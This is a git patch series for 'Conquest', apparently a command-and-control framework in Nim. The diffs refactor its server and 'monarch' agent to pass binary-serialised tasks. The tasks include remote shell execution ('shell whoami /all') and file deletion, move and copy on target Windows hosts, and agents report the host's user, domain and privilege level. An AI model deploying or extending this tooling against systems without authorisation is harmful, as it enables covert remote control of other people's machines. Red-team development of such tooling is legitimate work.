+ Task* = object
+ header*: Header
+
+ taskId*: uint32 # [4 bytes ] task id
+ agentId*: uint32 # [4 bytes ] agent id
+ listenerId*: uint32 # [4 bytes ] listener id
+ timestamp*: uint32 # [4 bytes ] unix timestamp
+ command*: uint16 # [2 bytes ] command id
+ argCount*: uint8 # [1 byte ] number of arguments
+ args*: seq[TaskArg] # variable length arguments
+
+ TaskResult* = object
+ header*: Header
+
+ taskId*: uint32 # [4 bytes ] task id
+ agentId*: uint32 # [4 bytes ] agent id
+ listenerId*: uint32 # [4 bytes ] listener id
+ timestamp*: uint32 # [4 bytes ] unix timestamp
+ command*: uint16 # [2 bytes ] command id
+ status*: uint8 # [1 byte ] success flag
+ resultType*: uint8 # [1 byte ] result data type (string, binary)
+ length*: uint32 # [4 bytes ] result length
+ data*: seq[byte] # variable length result
+
+# Commands
+ Argument* = object
+ name*: string
+ description*: string
+ argumentType*: ArgType
+ isRequired*: bool
+
+ Command* = object
+ name*: string
+ commandType*: CommandType
+ description*: string
+ example*: string
+ arguments*: seq[Argument]
+ dispatchMessage*: string
+
+# Agent structure
+type
+ AgentRegistrationData* = object
+ username*: string
+ hostname*: string
+ domain*: string
+ ip*: string
+ os*: string
+ process*: string
+ pid*: int
+ elevated*: bool
+ sleep*: int
+
+ Agent* = ref object
+ name*: string
+ listener*: string
+ username*: string
+ hostname*: string
+ domain*: string
+ process*: string
+ pid*: int
+ ip*: string
+ os*: string
+ elevated*: bool
+ sleep*: int
+ jitter*: float
+ tasks*: seq[seq[byte]]
+ firstCheckin*: DateTime
+ latestCheckin*: DateTime
+
+# Listener structure
+type
+ Protocol* = enum
+ HTTP = "http"
+
+ Listener* = ref object
+ name*: string
+ address*: string
+ port*: int
+ protocol*: Protocol
+
+# Server structure
+type
+ Conquest* = ref object
+ prompt*: Prompt
+ dbPath*: string
+ listeners*: Table[string, Listener]
+ agents*: Table[string, Agent]
+ interactAgent*: Agent
\ No newline at end of file
diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim
index cd1e8f4..951a91e 100644
--- a/src/server/api/handlers.nim
+++ b/src/server/api/handlers.nim
@@ -2,7 +2,7 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys
import ../[utils, globals]
import ../db/database
-import ../../types
+import ../../common/types
# Utility functions
proc add*(cq: Conquest, agent: Agent) =
@@ -36,27 +36,27 @@ proc register*(agent: Agent): bool =
return true
-proc getTasks*(listener, agent: string): JsonNode =
+proc getTasks*(listener, agent: string): seq[seq[byte]] =
{.cast(gcsafe).}:
# Check if listener exists
if not cq.dbListenerExists(listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
- return nil
+ raise newException(ValueError, "Invalid listener.")
# Check if agent exists
if not cq.dbAgentExists(agent.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n")
- return nil
+ raise newException(ValueError, "Invalid agent.")
# Update the last check-in date for the accessed agent
cq.agents[agent.toUpperAscii].latestCheckin = now()
# if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
# return nil
- # Return tasks in JSON format
- return %cq.agents[agent.toUpperAscii].tasks
+ # Return tasks
+ return cq.agents[agent.toUpperAscii].tasks
proc handleResult*(listener, agent, task: string, taskResult: TaskResult) =
@@ -64,31 +64,31 @@ proc handleResult*(listener, agent, task: string, taskResult: TaskResult) =
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
- if taskResult.status == Failed:
+ if taskResult.status == cast[uint8](STATUS_FAILED):
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.")
- if taskResult.data != "":
+ if taskResult.data.len != 0:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:")
# Split result string on newline to keep formatting
- for line in decode(taskResult.data).split("\n"):
- cq.writeLine(line)
+ # for line in decode(taskResult.data).split("\n"):
+ # cq.writeLine(line)
else:
cq.writeLine()
else:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.")
- if taskResult.data != "":
+ if taskResult.data.len != 0:
cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:")
# Split result string on newline to keep formatting
- for line in decode(taskResult.data).split("\n"):
- cq.writeLine(line)
+ # for line in decode(taskResult.data).split("\n"):
+ # cq.writeLine(line)
else:
cq.writeLine()
# Update task queue to include all tasks, except the one that was just completed
- cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task)
+ # cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task)
return
\ No newline at end of file
diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim
index 5128c64..f471d32 100644
--- a/src/server/api/routes.nim
+++ b/src/server/api/routes.nim
@@ -3,7 +3,7 @@ import sequtils, strutils, times
import ./handlers
import ../utils
-import ../../types
+import ../../common/types
proc error404*(ctx: Context) {.async.} =
resp "", Http404
@@ -86,16 +86,13 @@ proc getTasks*(ctx: Context) {.async.} =
let
listener = ctx.getPathParams("listener")
agent = ctx.getPathParams("agent")
-
- let tasksJson = getTasks(listener, agent)
-
- # If agent/listener is invalid, return a 404 Not Found error code
- if tasksJson == nil:
+
+ try:
+ let tasks = getTasks(listener, agent)
+ resp $tasks
+ except CatchableError:
resp "", Http404
- # Return all currently active tasks as a JsonObject
- resp jsonResponse(tasksJson)
-
#[
POST /{listener-uuid}/{agent-uuid}/{task-uuid}/results
diff --git a/src/server/core/agent.nim b/src/server/core/agent.nim
index 2c8811b..7d10778 100644
--- a/src/server/core/agent.nim
+++ b/src/server/core/agent.nim
@@ -1,9 +1,9 @@
import terminal, strformat, strutils, tables, times, system, osproc, streams
import ../utils
-import ../task/handler
+import ../task/dispatcher
import ../db/database
-import ../../types
+import ../../common/types
# Utility functions
proc addMultiple*(cq: Conquest, agents: seq[Agent]) =
diff --git a/src/server/core/listener.nim b/src/server/core/listener.nim
index 89ab282..0f757a0 100644
--- a/src/server/core/listener.nim
+++ b/src/server/core/listener.nim
@@ -4,7 +4,7 @@ import prologue
import ../utils
import ../api/routes
import ../db/database
-import ../../types
+import ../../common/types
# Utility functions
proc delListener(cq: Conquest, listenerName: string) =
diff --git a/src/server/core/server.nim b/src/server/core/server.nim
index 9b0eaee..34438b4 100644
--- a/src/server/core/server.nim
+++ b/src/server/core/server.nim
@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
import ./[agent, listener]
import ../[globals, utils]
import ../db/database
-import ../../types
+import ../../common/types
#[
Argument parsing
diff --git a/src/server/db/database.nim b/src/server/db/database.nim
index 6460bfc..c637099 100644
--- a/src/server/db/database.nim
+++ b/src/server/db/database.nim
@@ -2,7 +2,7 @@ import system, terminal, tiny_sqlite
import ./[dbAgent, dbListener]
import ../utils
-import ../../types
+import ../../common/types
# Export functions so that only ./db/database is required to be imported
export dbAgent, dbListener
diff --git a/src/server/db/dbAgent.nim b/src/server/db/dbAgent.nim
index dbaeba9..c5c64fb 100644
--- a/src/server/db/dbAgent.nim
+++ b/src/server/db/dbAgent.nim
@@ -1,7 +1,7 @@
import system, terminal, tiny_sqlite, times
import ../utils
-import ../../types
+import ../../common/types
#[
Agent database functions
diff --git a/src/server/db/dbListener.nim b/src/server/db/dbListener.nim
index 547e599..f942284 100644
--- a/src/server/db/dbListener.nim
+++ b/src/server/db/dbListener.nim
@@ -1,7 +1,7 @@
import system, terminal, tiny_sqlite
import ../utils
-import ../../types
+import ../../common/types
# Utility functions
proc stringToProtocol*(protocol: string): Protocol =
diff --git a/src/server/globals.nim b/src/server/globals.nim
index a00cb57..274e63a 100644
--- a/src/server/globals.nim
+++ b/src/server/globals.nim
@@ -1,4 +1,4 @@
-import ../types
+import ../common/types
# Global variable for handling listeners, agents and console output
var cq*: Conquest
\ No newline at end of file
diff --git a/src/server/main.nim b/src/server/main.nim
index efb3153..5ffcd1d 100644
--- a/src/server/main.nim
+++ b/src/server/main.nim
@@ -1,5 +1,6 @@
import random
import core/server
+import strutils
# Conquest framework entry point
when isMainModule:
diff --git a/src/server/task/dispatcher.nim b/src/server/task/dispatcher.nim
index 290754d..14dc62e 100644
--- a/src/server/task/dispatcher.nim
+++ b/src/server/task/dispatcher.nim
@@ -1,16 +1,188 @@
-import argparse, times, strformat, terminal, sequtils
-import ../../types
+import times, strformat, terminal, tables, json, sequtils, strutils
+import ./[parser, packer]
import ../utils
+import ../../common/types
-proc createTask*(cq: Conquest, command: CommandType, args: string, message: string) =
- let
- date = now().format("dd-MM-yyyy HH:mm:ss")
- task = Task(
- id: generateUUID(),
- agent: cq.interactAgent.name,
- command: command,
- args: args,
- )
+proc initAgentCommands*(): Table[string, Command] =
+ var commands = initTable[string, Command]()
+
+ commands["shell"] = Command(
+ name: "shell",
+ commandType: CMD_SHELL,
+ description: "Execute a shell command and retrieve the output.",
+ example: "shell whoami /all",
+ arguments: @[
+ Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true),
+ Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false)
+ ]
+ )
+
+ commands["sleep"] = Command(
+ name: "sleep",
+ commandType: CMD_SLEEP,
+ description: "Update sleep delay configuration.",
+ example: "sleep 5",
+ arguments: @[
+ Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true)
+ ]
+ )
+
+ commands["pwd"] = Command(
+ name: "pwd",
+ commandType: CMD_PWD,
+ description: "Retrieve current working directory.",
+ example: "pwd",
+ arguments: @[]
+ )
+
+ commands["cd"] = Command(
+ name: "cd",
+ commandType: CMD_CD,
+ description: "Change current working directory.",
+ example: "cd C:\\Windows\\Tasks",
+ arguments: @[
+ Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: STRING, isRequired: true)
+ ]
+ )
+
+ commands["ls"] = Command(
+ name: "ls",
+ commandType: CMD_LS,
+ description: "List files and directories.",
+ example: "ls C:\\Users\\Administrator\\Desktop",
+ arguments: @[
+ Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: STRING, isRequired: false)
+ ]
+ )
+
+ commands["rm"] = Command(
+ name: "rm",
+ commandType: CMD_RM,
+ description: "Remove a file.",
+ example: "rm C:\\Windows\\Tasks\\payload.exe",
+ arguments: @[
+ Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: STRING, isRequired: true)
+ ]
+ )
+
+ commands["rmdir"] = Command(
+ name: "rmdir",
+ commandType: CMD_RMDIR,
+ description: "Remove a directory.",
+ example: "rm C:\\Payloads",
+ arguments: @[
+ Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: STRING, isRequired: true)
+ ]
+ )
+
+ commands["move"] = Command(
+ name: "move",
+ commandType: CMD_MOVE,
+ description: "Move a file or directory.",
+ example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
+ arguments: @[
+ Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
+ Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
+ ]
+ )
+
+ commands["copy"] = Command(
+ name: "copy",
+ commandType: CMD_COPY,
+ description: "Copy a file or directory.",
+ example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
+ arguments: @[
+ Argument(name: "source", description: "Source file path.", argumentType: STRING, isRequired: true),
+ Argument(name: "destination", description: "Destination file path.", argumentType: STRING, isRequired: true)
+ ]
+ )
+
+ return commands
+
+let commands = initAgentCommands()
+
+proc getCommandFromTable(input: string, commands: Table[string, Command]): Command =
+ try:
+ let command = commands[input]
+ return command
+ except ValueError:
+ raise newException(ValueError, fmt"The command '{input}' does not exist.")
+
+proc displayHelp(cq: Conquest, commands: Table[string, Command]) =
+ cq.writeLine("Available commands:")
+ cq.writeLine(" * back")
+ for key, cmd in commands:
+ cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}")
+ cq.writeLine()
+
+proc displayCommandHelp(cq: Conquest, command: Command) =
+ var usage = command.name & " " & command.arguments.mapIt(
+ if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
+ ).join(" ")
+
+ if command.example != "":
+ usage &= "\nExample : " & command.example
+
+ cq.writeLine(fmt"""
+{command.description}
+
+Usage : {usage}
+""")
+
+ if command.arguments.len > 0:
+ cq.writeLine("Arguments:\n")
+
+ let header = @["Name", "Type", "Required", "Description"]
+ cq.writeLine(fmt" {header[0]:<15} {header[1]:<6} {header[2]:<8} {header[3]}")
+ cq.writeLine(fmt" {'-'.repeat(15)} {'-'.repeat(6)} {'-'.repeat(8)} {'-'.repeat(20)}")
+
+ for arg in command.arguments:
+ let isRequired = if arg.isRequired: "YES" else: "NO"
+ cq.writeLine(fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<6} {isRequired:>8} {arg.description}")
+
+ cq.writeLine()
+
+proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[string, Command]) =
+ try:
+ # Try parsing the first argument passed to 'help' as a command
+ cq.displayCommandHelp(getCommandFromTable(parsed[1], commands))
+ except IndexDefect:
+ # 'help' command is called without additional parameters
+ cq.displayHelp(commands)
+ except ValueError:
+ # Command was not found
+ cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n')
+
+proc handleAgentCommand*(cq: Conquest, input: string) =
+ # Return if no command (or just whitespace) is entered
+ if input.replace(" ", "").len == 0: return
+
+ let date: string = now().format("dd-MM-yyyy HH:mm:ss")
+ cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, input)
+
+ # Convert user input into sequence of string arguments
+ let parsedArgs = parseInput(input)
- cq.interactAgent.tasks.add(task)
- cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message)
\ No newline at end of file
+ # Handle 'back' command
+ if parsedArgs[0] == "back":
+ return
+
+ # Handle 'help' command
+ if parsedArgs[0] == "help":
+ cq.handleHelp(parsedArgs, commands)
+ return
+
+ # Handle commands with actions on the agent
+ try:
+ let
+ command = getCommandFromTable(parsedArgs[0], commands)
+ task = cq.parseTask(command, parsedArgs[1..^1])
+ taskData: seq[byte] = cq.serializeTask(task)
+
+ # Add task to queue
+ cq.interactAgent.tasks.add(taskData)
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}")
+
+ except CatchableError:
+ cq.writeLine(fgRed, styleBright, fmt"[-] {getCurrentExceptionMsg()}" & "\n")
+ return
\ No newline at end of file
diff --git a/src/server/task/handler.nim b/src/server/task/handler.nim
deleted file mode 100644
index bbaa149..0000000
--- a/src/server/task/handler.nim
+++ /dev/null
@@ -1,185 +0,0 @@
-import times, strformat, terminal, tables, json, sequtils, strutils
-import ./[parser, packer, dispatcher]
-import ../utils
-import ../../types
-
-proc initAgentCommands*(): Table[CommandType, Command] =
- var commands = initTable[CommandType, Command]()
-
- commands[ExecuteShell] = Command(
- name: "shell",
- commandType: ExecuteShell,
- description: "Execute a shell command and retrieve the output.",
- example: "shell whoami /all",
- arguments: @[
- Argument(name: "command", description: "Command to be executed.", argumentType: String, isRequired: true),
- Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: String, isRequired: false)
- ]
- )
-
- commands[Sleep] = Command(
- name: "sleep",
- commandType: Sleep,
- description: "Update sleep delay configuration.",
- example: "sleep 5",
- arguments: @[
- Argument(name: "delay", description: "Delay in seconds.", argumentType: Int, isRequired: true)
- ]
- )
-
- commands[GetWorkingDirectory] = Command(
- name: "pwd",
- commandType: GetWorkingDirectory,
- description: "Retrieve current working directory.",
- example: "pwd",
- arguments: @[]
- )
-
- commands[SetWorkingDirectory] = Command(
- name: "cd",
- commandType: SetWorkingDirectory,
- description: "Change current working directory.",
- example: "cd C:\\Windows\\Tasks",
- arguments: @[
- Argument(name: "directory", description: "Relative or absolute path of the directory to change to.", argumentType: String, isRequired: true)
- ]
- )
-
- commands[ListDirectory] = Command(
- name: "ls",
- commandType: ListDirectory,
- description: "List files and directories.",
- example: "ls C:\\Users\\Administrator\\Desktop",
- arguments: @[
- Argument(name: "directory", description: "Relative or absolute path. Default: current working directory.", argumentType: String, isRequired: false)
- ]
- )
-
- commands[RemoveFile] = Command(
- name: "rm",
- commandType: RemoveFile,
- description: "Remove a file.",
- example: "rm C:\\Windows\\Tasks\\payload.exe",
- arguments: @[
- Argument(name: "file", description: "Relative or absolute path to the file to delete.", argumentType: String, isRequired: true)
- ]
- )
-
- commands[RemoveDirectory] = Command(
- name: "rmdir",
- commandType: RemoveDirectory,
- description: "Remove a directory.",
- example: "rm C:\\Payloads",
- arguments: @[
- Argument(name: "directory", description: "Relative or absolute path to the directory to delete.", argumentType: String, isRequired: true)
- ]
- )
-
- commands[Move] = Command(
- name: "move",
- commandType: Move,
- description: "Move a file or directory.",
- example: "move source.exe C:\\Windows\\Tasks\\destination.exe",
- arguments: @[
- Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true),
- Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true)
- ]
- )
-
- commands[Copy] = Command(
- name: "copy",
- commandType: Copy,
- description: "Copy a file or directory.",
- example: "copy source.exe C:\\Windows\\Tasks\\destination.exe",
- arguments: @[
- Argument(name: "source", description: "Source file path.", argumentType: String, isRequired: true),
- Argument(name: "destination", description: "Destination file path.", argumentType: String, isRequired: true)
- ]
- )
-
- return commands
-
-let commands = initAgentCommands()
-
-proc getCommandFromTable(cmd: string, commands: Table[CommandType, Command]): (CommandType, Command) =
- try:
- let commandType = parseEnum[CommandType](cmd.toLowerAscii())
- let command = commands[commandType]
- return (commandType, command)
- except ValueError:
- raise newException(ValueError, fmt"The command '{cmd}' does not exist.")
-
-proc displayHelp(cq: Conquest, commands: Table[CommandType, Command]) =
- cq.writeLine("Available commands:")
- cq.writeLine(" * back")
- for key, cmd in commands:
- cq.writeLine(fmt" * {cmd.name:<15}{cmd.description}")
- cq.writeLine()
-
-proc displayCommandHelp(cq: Conquest, command: Command) =
- var usage = command.name & " " & command.arguments.mapIt(
- if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
- ).join(" ")
-
- if command.example != "":
- usage &= "\nExample : " & command.example
-
- cq.writeLine(fmt"""
-{command.description}
-
-Usage : {usage}
-""")
-
- if command.arguments.len > 0:
- cq.writeLine("Arguments:\n")
-
- let header = @["Name", "Type", "", "Description"]
- cq.writeLine(fmt" {header[0]:<15} {header[1]:<8}{header[2]:<10} {header[3]}")
- cq.writeLine(fmt" {'-'.repeat(15)} {'-'.repeat(18)} {'-'.repeat(20)}")
-
- for arg in command.arguments:
- let requirement = if arg.isRequired: "(REQUIRED)" else: "(OPTIONAL)"
- cq.writeLine(fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<8}{requirement:<10} {arg.description}")
-
- cq.writeLine()
-
-proc handleHelp(cq: Conquest, parsed: seq[string], commands: Table[CommandType, Command]) =
- try:
- # Try parsing the first argument passed to 'help' as a command
- let (commandType, command) = getCommandFromTable(parsed[1], commands)
- cq.displayCommandHelp(command)
- except IndexDefect:
- # 'help' command is called without additional parameters
- cq.displayHelp(commands)
- except ValueError:
- # Command was not found
- cq.writeLine(fgRed, styleBright, fmt"[-] The command '{parsed[1]}' does not exist." & '\n')
-
-proc handleAgentCommand*(cq: Conquest, input: string) =
- # Return if no command (or just whitespace) is entered
- if input.replace(" ", "").len == 0: return
-
- let date: string = now().format("dd-MM-yyyy HH:mm:ss")
- cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, input)
-
- let parsedArgs = parseAgentCommand(input)
-
- # Handle 'back' command
- if parsedArgs[0] == "back":
- return
-
- # Handle 'help' command
- if parsedArgs[0] == "help":
- cq.handleHelp(parsedArgs, commands)
- return
-
- # Handle commands with actions on the agent
- try:
- let
- (commandType, command) = getCommandFromTable(parsedArgs[0], commands)
- payload = cq.packageArguments(command, parsedArgs)
- cq.createTask(commandType, $payload, fmt"Tasked agent to {command.description.toLowerAscii()}")
-
- except CatchableError:
- cq.writeLine(fgRed, styleBright, fmt"[-] {getCurrentExceptionMsg()}" & "\n")
- return
\ No newline at end of file
diff --git a/src/server/task/packer.nim b/src/server/task/packer.nim
index 5f1f301..ba546bf 100644
--- a/src/server/task/packer.nim
+++ b/src/server/task/packer.nim
@@ -1,34 +1,40 @@
-import strutils, json
-import ../../types
+import strutils, strformat, streams
+import ../utils
+import ../../common/types
+import ../../common/serialize
-proc packageArguments*(cq: Conquest, command: Command, arguments: seq[string]): JsonNode =
+proc serializeTask*(cq: Conquest, task: Task): seq[byte] =
- # Construct a JSON payload with argument names and values
- result = newJObject()
- let parsedArgs = if arguments.len > 1: arguments[1..^1] else: @[] # Remove first element from sequence to only handle arguments
+ var packer = initTaskPacker()
- for i, argument in command.arguments:
-
- # Argument provided - convert to the corresponding data type
- if i < parsedArgs.len:
- case argument.argumentType:
- of Int:
- result[argument.name] = %parseUInt(parsedArgs[i])
- of Binary:
- # Read file into memory and convert it into a base64 string
- result[argument.name] = %""
- else:
- # The last optional argument is joined together
- # This is required for non-quoted input with infinite length, such as `shell mv arg1 arg2`
- if i == command.arguments.len - 1 and not argument.isRequired:
- result[argument.name] = %parsedArgs[i..^1].join(" ")
- else:
- result[argument.name] = %parsedArgs[i]
-
- # Argument not provided - set to empty string for optional args
- else:
- # If a required argument is not provided, display the help text
- if argument.isRequired:
- raise newException(ValueError, "Missing required arguments.")
- else:
- result[argument.name] = %""
\ No newline at end of file
+ # Serialize payload
+ packer
+ .addToPayload(task.taskId)
+ .addToPayload(task.agentId)
+ .addToPayload(task.listenerId)
+ .addToPayload(task.timestamp)
+ .addToPayload(task.command)
+ .addToPayload(task.argCount)
+
+ for arg in task.args:
+ packer.addArgument(arg)
+
+ let payload = packer.packPayload()
+
+ # TODO: Encrypt payload body
+
+ # Serialize header
+ packer
+ .addToHeader(task.header.magic)
+ .addToHeader(task.header.version)
+ .addToHeader(task.header.packetType)
+ .addToHeader(task.header.flags)
+ .addToHeader(task.header.seqNr)
+ .addToHeader(cast[uint32](payload.len))
+ .addDataToHeader(task.header.hmac)
+
+ let header = packer.packHeader()
+
+ # TODO: Calculate and patch HMAC
+
+ return header & payload
diff --git a/src/server/task/parser.nim b/src/server/task/parser.nim
index ebaaaca..86558cb 100644
--- a/src/server/task/parser.nim
+++ b/src/server/task/parser.nim
@@ -1,6 +1,8 @@
-import ../../types
+import strutils, strformat, times
+import ../utils
+import ../../common/types
-proc parseAgentCommand*(input: string): seq[string] =
+proc parseInput*(input: string): seq[string] =
var i = 0
while i < input.len:
@@ -30,3 +32,83 @@ proc parseAgentCommand*(input: string): seq[string] =
# Add argument to returned result
if arg.len > 0: result.add(arg)
+
+proc parseArgument*(argument: Argument, value: string): TaskArg =
+
+ var result: TaskArg
+ result.argType = cast[uint8](argument.argumentType)
+
+ case argument.argumentType:
+
+ of INT:
+ # Length: 4 bytes
+ let intValue = cast[uint32](parseUInt(value))
+ result.data = @[byte(intValue and 0xFF), byte((intValue shr 8) and 0xFF), byte((intValue shr 16) and 0xFF), byte((intValue shr 24) and 0xFF)]
+
+ of LONG:
+ # Length: 8 bytes
+ var data = newSeq[byte](8)
+ let intValue = cast[uint64](parseUInt(value))
+ for i in 0..7:
+ data[i] = byte((intValue shr (i * 8)) and 0xFF)
+ result.data = data
+
+ of BOOL:
+ # Length: 1 byte
+ if value == "true":
+ result.data = @[1'u8]
+ elif value == "false":
+ result.data = @[0'u8]
+ else:
+ raise newException(ValueError, "Invalid value for boolean argument.")
+
+ of STRING:
+ result.data = cast[seq[byte]](value)
+
+ of BINARY:
+ # Read file as binary stream
+
+ discard
+
+ return result
+
+proc parseTask*(cq: Conquest, command: Command, arguments: seq[string]): Task =
+
+ # Construct the task payload prefix
+ var task: Task
+ task.taskId = uuidToUint32(generateUUID())
+ task.agentId = uuidToUint32(cq.interactAgent.name)
+ task.listenerId = uuidToUint32(cq.interactAgent.listener)
+ task.timestamp = uint32(now().toTime().toUnix())
+ task.command = cast[uint16](command.commandType)
+ task.argCount = uint8(arguments.len)
+
+ var taskArgs: seq[TaskArg]
+
+ # Add the task arguments
+ for i, arg in command.arguments:
+ if i < arguments.len:
+ taskArgs.add(parseArgument(arg, arguments[i]))
+ else:
+ if arg.isRequired:
+ raise newException(ValueError, "Missing required argument.")
+ else:
+ # Handle optional argument
+ taskArgs.add(parseArgument(arg, ""))
+
+ task.args = taskArgs
+
+ # Construct the header
+ var taskHeader: Header
+ taskHeader.magic = MAGIC
+ taskHeader.version = VERSION
+ taskHeader.packetType = cast[uint8](MSG_TASK)
+ taskHeader.flags = cast[uint16](FLAG_PLAINTEXT)
+ taskHeader.seqNr = 1'u32 # TODO: Implement sequence tracking
+ taskHeader.size = 0'u32
+ taskHeader.hmac = default(array[16, byte])
+
+ task.header = taskHeader
+
+ # Return the task object for serialization
+ return task
\ No newline at end of file
diff --git a/src/server/utils.nim b/src/server/utils.nim
index 764839b..8f4257e 100644
--- a/src/server/utils.nim
+++ b/src/server/utils.nim
@@ -1,7 +1,7 @@
import strutils, terminal, tables, sequtils, times, strformat, random, prompt
import std/wordwrap
-import ../types
+import ../common/types
# Utility functions
proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =
@@ -20,6 +20,21 @@ proc generateUUID*(): string =
# Create a 4-byte HEX UUID string (8 characters)
(0..<4).mapIt(rand(255)).mapIt(fmt"{it:02X}").join()
+proc uuidToUint32*(uuid: string): uint32 =
+ return fromHex[uint32](uuid)
+
+proc uuidToString*(uuid: uint32): string =
+ return uuid.toHex(8)
+
+proc toHexDump*(data: seq[byte]): string =
+ for i, b in data:
+ result.add(b.toHex(2))
+ if i < data.len - 1:
+ if (i + 1) mod 4 == 0:
+ result.add(" | ") # Add | every 4 bytes
+ else:
+ result.add(" ") # Regular space
+
# Function templates and overwrites
template writeLine*(cq: Conquest, args: varargs[untyped]) =
cq.prompt.writeLine(args)
diff --git a/src/types.nim b/src/types.nim
deleted file mode 100644
index 242af35..0000000
--- a/src/types.nim
+++ /dev/null
@@ -1,110 +0,0 @@
-import prompt
-import tables
-import times
-
-# Task structure
-type
- CommandType* = enum
- ExecuteShell = "shell"
- ExecuteBof = "bof"
- ExecuteAssembly = "dotnet"
- ExecutePe = "pe"
- Sleep = "sleep"
- GetWorkingDirectory = "pwd"
- SetWorkingDirectory = "cd"
- ListDirectory = "ls"
- RemoveFile = "rm"
- RemoveDirectory = "rmdir"
- Move = "move"
- Copy = "copy"
-
- ArgumentType* = enum
- String = "string"
- Int = "int"
- Long = "long"
- Bool = "bool"
- Binary = "binary"
-
- Argument* = object
- name*: string
- description*: string
- argumentType*: ArgumentType
- isRequired*: bool
-
- Command* = object
- name*: string
- commandType*: CommandType
- description*: string
- example*: string
- arguments*: seq[Argument]
- dispatchMessage*: string
-
- TaskStatus* = enum
- Completed = "completed"
- Created = "created"
- Pending = "pending"
- Failed = "failed"
- Cancelled = "cancelled"
-
- TaskResult* = ref object
- task*: string
- agent*: string
- data*: string
- status*: TaskStatus
-
- Task* = ref object
- id*: string
- agent*: string
- command*: CommandType
- args*: string # Json string containing all the positional arguments
- # Example: """{"command": "whoami", "arguments": "/all"}"""
-
-# Agent structure
-type
- AgentRegistrationData* = object
- username*: string
- hostname*: string
- domain*: string
- ip*: string
- os*: string
- process*: string
- pid*: int
- elevated*: bool
- sleep*: int
-
- Agent* = ref object
- name*: string
- listener*: string
- username*: string
- hostname*: string
- domain*: string
- process*: string
- pid*: int
- ip*: string
- os*: string
- elevated*: bool
- sleep*: int
- jitter*: float
- tasks*: seq[Task]
- firstCheckin*: DateTime
- latestCheckin*: DateTime
-
-# Listener structure
-type
- Protocol* = enum
- HTTP = "http"
-
- Listener* = ref object
- name*: string
- address*: string
- port*: int
- protocol*: Protocol
-
-# Server structure
-type
- Conquest* = ref object
- prompt*: Prompt
- dbPath*: string
- listeners*: Table[string, Listener]
- agents*: Table[string, Agent]
- interactAgent*: Agent
\ No newline at end of file
From d22ad0bd0c62aeca26902cba667e2f70b0d12a75 Mon Sep 17 00:00:00 2001
From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com>
Date: Fri, 18 Jul 2025 18:47:57 +0200
Subject: [PATCH 2/4] Agent fetches serialized task data from prologue web
server and successfully parses it.
---
src/agents/monarch/http.nim | 31 +++---
src/agents/monarch/monarch.nim | 21 ++--
src/agents/monarch/nim.cfg | 2 +-
.../{taskHandler.nim => task/handler.nim} | 12 ++-
src/agents/monarch/task/parser.nim | 90 +++++++++++++++++
src/agents/monarch/types.nim | 2 +-
src/agents/monarch/utils.nim | 9 +-
src/common/serialize.nim | 99 +++++++++++++------
src/common/types.nim | 6 +-
src/server/api/routes.nim | 37 ++++++-
src/server/task/dispatcher.nim | 2 +
src/server/task/packer.nim | 31 +++---
src/server/utils.nim | 19 ++++
13 files changed, 275 insertions(+), 86 deletions(-)
rename src/agents/monarch/{taskHandler.nim => task/handler.nim} (81%)
create mode 100644 src/agents/monarch/task/parser.nim
diff --git a/src/agents/monarch/http.nim b/src/agents/monarch/http.nim
index 9dc3676..9f4cbaa 100644
--- a/src/agents/monarch/http.nim
+++ b/src/agents/monarch/http.nim
@@ -1,6 +1,6 @@
import httpclient, json, strformat, asyncdispatch
-import ./[types, agentinfo]
+import ./[types, utils, agentinfo]
proc register*(config: AgentConfig): string =
@@ -32,23 +32,24 @@ proc register*(config: AgentConfig): string =
finally:
client.close()
